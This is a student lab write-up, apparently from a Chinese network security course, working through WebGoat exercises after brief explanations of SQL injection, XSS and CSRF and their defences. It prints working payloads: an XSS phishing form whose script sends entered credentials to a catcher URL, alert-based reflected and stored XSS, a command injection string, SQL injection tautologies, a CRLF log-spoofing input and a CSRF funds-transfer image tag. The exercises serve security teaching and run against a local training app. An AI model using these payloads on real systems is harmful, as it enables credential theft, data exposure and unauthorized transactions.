zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

    2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

    回答问题
    (1)SQL注入攻击原理,如何防御
    原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。
    防御:对输入进行限制,包括输入长度和特殊字符的类型等
    (2)XSS攻击的原理,如何防御
    原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
    防御:收集JSP特征,对内容进行严格验证,规定格式。
    (3)CSRF攻击原理,如何防御
    原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
    防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

    实验内容

    • 执行java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat

    1.Phishing with XSS

    • 在搜索框里输入XSS攻击代码
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    
    • 在表单内填写的用户名密码会被捕获发送给你

      2.Reflected XSS
    • code输入框内输入<script>alert("20165228szkun");</script>
    • 点击purchase,则会弹出窗口,内容是输入代码中的字符串。

      3.Stored XSS Attacks
    • 在发的帖子message部分插入jsp代码,当该帖子被浏览时,该代码也会被浏览器解析成html的内容。
    • 在message中输入<script>alert("20165228 shi cai ji!");</script> 提交后,浏览该贴,成功弹出窗口,说明攻击成功!


      4.Command Injection
    • 右键复选框,选择inspect Element,在某个选项后加上"& netstat -an & ipconfig"
    • 在页面中选择该选型,然后点击view,则会出现该命令执行的结果

      5.Numeric SQL Injection
    • 根据其SQL语句SELECT * FROM weather_data WHERE station = [station],在填入的字段中注入特征字符,查看所有的天气数据。
    • 右键复选框,选择inspect Element,然将value ="101"改为value ="101 or 1=1",其值对应的是Columbia,修改完成后选择该选项,然后点击Go!即可查看所有天气数据。


      6.Log Spoofing
    • 通过调整输入,从而隐藏登录的信息,不使它被记录到日志文件中。
    • 在用户名输入szkun%0d%0aLogin Succeeded for username: admin

      7.String SQL Injection
    • 通过SQL注入构造永真式,使用者可查询到所有的信用卡号。
    • 在输入框直接输入'or 1='1即可

      8.Cross Site Request Forgery
    • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
    • 查看自己电脑的Screen和menu的值:
    • message内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500"/> 当点击该图片时,就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。
    • 提交后点击该链接,可查看操作信息。

      9.CSRF Prompt By-Pass
    • 利用CSRF进行冒名操作转账,不过这次包括了转账请求和确认转账成功请求,即需要额外传递两个参数给服务器
    • message框输入```
    ``` ![](https://img2018.cnblogs.com/blog/1269550/201905/1269550-20190525110014315-605841451.png) - 点开链接 ![](https://img2018.cnblogs.com/blog/1269550/201905/1269550-20190525110024861-1101768300.png) ####问题 - 一开始从[链接](https://github.com/WebGoat/WebGoat/releases?after=8.0.0)下载好```webgoat```后进入该页面发现内容好像有点不一样,经了解是因为JDK的问题,然后又根据[Linux下JDK安装](https://www.jianshu.com/p/9ec7838411c8)配置好了JDK,然后重新进入该页面就可以正常使用了。 ####实验感想 - 本次实验涉及的东西比较综合,要对HTML与SQL语句比较熟练,才能完全理解其中的原理!
  • 相关阅读:
    #与javascript:void(0)的区别
    单选框、复选框、下拉列表
    数据类型后的“?”
    c#中日期的处理
    日期控件html
    javascript获取后台传来的json
    Hashtable语法简介
    Hashtable(哈希表)
    Dictionary 字典
    远程SQL Server连接不上
  • 原文地址:https://www.cnblogs.com/cloud795/p/10921687.html
Copyright © 2011-2022 走看看